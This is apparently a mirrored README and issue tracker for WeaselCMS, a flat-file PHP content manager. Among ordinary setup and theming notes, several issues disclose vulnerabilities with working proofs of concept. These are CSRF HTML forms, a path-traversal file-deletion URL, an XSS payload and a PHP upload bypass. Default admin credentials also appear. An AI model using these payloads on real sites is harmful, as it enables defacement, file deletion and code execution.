Giter Club home page Giter Club logo

weaselcms's Introduction

WeaselCMS

Project Website: http://weasel.moro.es

Weasel. Lightweight flat file CMS written in PHP

Weasel CMS is an Open Source, very simple and lightweight Content Management System written in PHP and built specifically for small websites.

Easy to setup, Weasel CMS uses a flat file system (No database) so you just have to unzip and upload it to the server and you are all set to add content with its easy to use simplistic UI.

Weasel CMS is a very flexible CMS that can be easily used as a skeleton to build your small project up from.

  • Very Simple : No clutter and confusion, a simplistic site editor and UI.
  • Mobile Friendly : Weasel has a minimalist user interface that works nice on all devices.
  • No Database : Weasel is a Flat file CMS, which means no database is behind it.
  • Open Source : Weasel is free and open source, released under the MIT license.
  • Lightweight : Full CMS weights like a JPG image and is built in a little bunch of files.
  • Easy Setup : As straightforward as possible, just upload it and use it. No complicated configuration.
  • Markdown ready : Easy editing of your page by using Markdown or HTML.
  • Custom theming : Very easy to create new themes or modify the existing templates.

Docs

Requirements

To run Weasel CMS you only need PHP >= 5.3 running on your server. Apache mod_rewrite module enabled is recommended but not a requirement.

Installation

  1. Download the latest version of Weasel CMS from the GitHub repository : https://github.com/alterebro/WeaselCMS/releases/latest
  2. Upload the files to your PHP Server
  3. Change permissions to the following files / folder to make them writable: config.php, db.dat, /files.
  4. Thay's all, you can start using Weasel CMS. The url to log into the admin area will be located on /weasel-cms.

Default installation user/pass pair is :

user : weasel
pass : weaselcms

You can change this login details on the config.php file

--

Theming

Themes are located on the /theme folder and the main template file is the ìndex.html HTML file. Variables are placed using the double curly bracket syntax {{ $variable_name }} i.e: in order to print the page title you'll put the following code in the html template: {{ $_CMS['page']['title'] }}

  • Available Themes
    • A couple of basic themes bundled on the Weasel CMS theme folder where you can start to hack and play around with them.
    • @iskono's theme based on dopetrope by html5up: iskono/WeaselCMS-THEME

Variables

All the elements that you can use when theming your website using Weasel CMS data are encapsulated in an array called $_CMS, this array has got the following variables within it.

  • $_CMS['site'] :

    • ['site_language'] ISO 639-1 Language Code, usually the two letter identifier like: EN, ES, FR ...
    • ['site_title'] : Returns the current weather in Beijing, China ... nah, it's actually the Site Title.
    • ['site_description'] : mainly for seo purposes
    • ['site_keywords'] : Same as above.
    • ['path] : base directory ( dirname($_SERVER['PHP_SELF']) )
    • ['url] : url where the website resides ( HTTP_HOST + path )
  • $_CMS['pages'] : Variable containing all the data of every page in case you want to loop over it. Each page contains the following properties described below on the $_PAGE variable.

  • $_CMS['page'] :

    • ['title'] The page title
    • ['description'] Short description of the page
    • ['content'] This is stored as Markdown but it returns the parsed HTML code of the pages content
    • ['tags'] Comma separated tag values
    • ['datetime'] machine-readable date/time in the form : 1914-12-20 08:30:45
    • ['timedate'] Verbose time-date returned by default in the form (i.e) : Thursday 12th of February 2009 @ 04:25 AM ( Date: l jS \of F Y @ h:i A )
    • ['link'] Returns the full url friendly link of the page in case mod_rewite exists on the Apache modules or the link with a url get variable in case it doesn't ?p=url-slug
    • ['slug'] the slug defined on the admin area.
  • $_CMS['is_page'] : Boolean returns if it is a page or not ( Useful to filter the index/home page )

  • $_CMS['menu'] : Retuns an HTML unordered list with all the active pages linked to their pages. With an active class on the current element ( class="active" )

  • $_CMS['prev_page'] full url friendly link to the previous page if exists, otherwise will return a link to the site url.

  • $_CMS['next_page'] full url friendly link to the next page if exists, otherwise will return a link to the site url.

  • $_CMS['is_404'] : Boolean returning if the page is a 404 not found file.

Adding extra variables

On the config.php file, you can add more 'key' => 'value' items to the returned array so you can access to them later on the main template. They will be encapsulated in the parent array $_CMS['site']

For example, by adding at the end of the config array the new pair : 'my_var' => 'my_value'

<?php return array (
  'user' => 'weasel',
  'pass' => 'weaselcms',
  'db' => 'data.dat',
  'site_language' => 'en',
  ...
  'files_folder' => '../files',
  'my_var' => 'my_value',
);

You can later call it by using the bracket syntax : {{ $_CMS['site']['my_var'] }}

--

Weasel XML Data

A basic sitemaps and rss feed files are provided by default with WeaselCMS and they are both accessible through the root of the site:


Libraries used in Weasel CMS

Download

Get the latest release on the Weasel CMS GitHub repository : https://github.com/alterebro/WeaselCMS/releases/latest

MIT Open Source License

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

weaselcms's People

Contributors

alterebro avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

weaselcms's Issues

Page

How to make a sub-page?

Thank you.

There is a .php file upload Vulnerbility

There is a .php file upload Vulnerbility in index.php
default
use mime type to forbidden php file is not safe,we can first edit the png file's name
6bb694762f4d4a7ff52d4efa69d9017
then add the php code at the end
d3237d2c228484bf0c8a038c24860bd
file was uploaded successfully!

default

uploading images

Fatal error: Class 'finfo' not found in C:\www\htdocs\front\v3\weasel-cms\upload.php on line 161
not working

Arbitrary File Deletion in the latest WeaselCMS-0.3.6

=================
WeaselCMS-0.3.6 - Arbitrary File Deletion

Date: 2018/09/13
Vendor Homepage: https://github.com/alterebro/WeaselCMS/
CVE: N/A

=================
Vulnerable cgi:

/weasel-cms/index.php

=================
Proof of Concept:

/WeaselCMS-0.3.6/weasel-cms/index.php?a=remove&b=files&file=../weasel-cms/images/wmd-buttons.png

notice: There is a risk of file deletion,you'd better test it combined with the furthur file upload vulnerability.

Attackers can delete any file through parameter 'file' with '../' .

index.php

add <ul class="nav navbar-nav">
in row:
$_DATA['menu'] = '<ul>';
change it to
$_DATA['menu'] = '<ul class="nav navbar-nav">';

so it can work with most of templates by adding

before ul
template example
example : <ul id="nav" class="nav">
<nav>{{ $_CMS['menu'] }}</nav> </ul>

There are two CSRF vulnerabilities that can create new pages or update the website settings

  1. There is a CSRF vulnerability that can create new pages via index.php?b=pages&a=new
  • poc:

one.html---create a new page

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/weasel-cms/index.php" method="POST">
      <input type="hidden" name="page&#45;action" value="create" />
      <input type="hidden" name="page&#45;title" value="newpage" />
      <input type="hidden" name="page&#45;content" value="newpagenewpagenewpage" />
      <input type="hidden" name="page&#45;date" value="2018&#45;08&#45;03" />
      <input type="hidden" name="page&#45;time" value="11&#58;54" />
      <input type="hidden" name="page&#45;slug" value="newpage" />
      <input type="hidden" name="page&#45;tags" value="newpage" />
      <input type="hidden" name="page&#45;description" value="newpage" />
      <input type="hidden" name="page&#45;active" value="on" />
      <input type="hidden" name="page&#45;submit" value="Create&#32;New&#32;Page" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2.There is a CSRF vulnerability that can update the website settings via index.php

  • poc:

two.html---update the website settings

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/weasel-cms/index.php" method="POST">
      <input type="hidden" name="site&#45;language" value="en" />
      <input type="hidden" name="site&#45;title" value="newsettings" />
      <input type="hidden" name="site&#45;description" value="newsettings" />
      <input type="hidden" name="site&#45;keywords" value="newsettings" />
      <input type="hidden" name="site&#45;theme" value="weasel-dark" />
      <input type="hidden" name="settings&#45;submit" value="Save&#32;Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

tag error

tag not view please add comment , share , logo is perfect

There have XSS vulnerability that can excute javascript

There are 4 XSS vulnerabilities
loading index.php
sign in and select "SETTINGS",
Insert the payload "'"()/ ><ScRiPt >alert(0)</ScRiPt>//" in the Site Language/Site Title/Site Description/Site Keywords and submit.

open index.php
line 376

<section class="column-one-third sidebar">
--
  | <h2><i class="fa fa-cog fa-fw"></i> Settings</h2>
  | <form method="POST" action="/cms/weasel/index.php">
  |  
  | <p>
  | <label for="site-language">
  | <span><i class="fa fa-globe fa-fw"></i> Site Language <small>( 2 letter i.e: ES, EN )</small></span>
  | <input type="text" name="site-language" id="site-language" value="'"()/ ><ScRiPt >alert(0)</ScRiPt>//" />
  | </label>
  | </p>
  | <p>
  | <label for="site-title">
  | <span><i class="fa fa-font fa-fw"></i> Site Title</span>
  | <input type="text" name="site-title" id="site-title" value="Weasel CMS" />
  | </label>
  | </p>
  | <p>
  | <label for="site-description">
  | <span><i class="fa fa-align-left fa-fw"></i> Site Description</span>
  | <input type="text" name="site-description" id="site-description" value="Open Source, very simple and lightweight flat file Content Management System written in PHP and built specifically for small websites." />
  | </label>
  | </p>
  | <p>
  | <label for="site-keywords">
  | <span><i class="fa fa-tags fa-fw"></i> Site Keywords <small>( Comma separated values )</small></span>
  | <input type="text" name="site-keywords" id="site-keywords" value="Weasel, WeaselCMS, PHP, CMS, Simple, lightweight, small, easy, Minimal" />
  | </label>
  | </p>
  | <p>
  | <label for="site-theme">
  | <span><i class="fa fa-paint-brush fa-fw"></i> Theme</span>
  | <select name="site-theme" id="site-theme">
  | <option value="weasel">weasel</option><option value="weasel-dark" selected=selected>weasel-dark</option>						 	</select>
  | </label>
  | </p>
  | <p>
  | <input type="submit" name="settings-submit" id="settings-submit" class="button-main" value="Save Settings" />
  | </p>
  | </form>
  | </section>

Admin access

ia orana !

i want to access to admin ... but i don't know where !
Thanks :-)

François

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.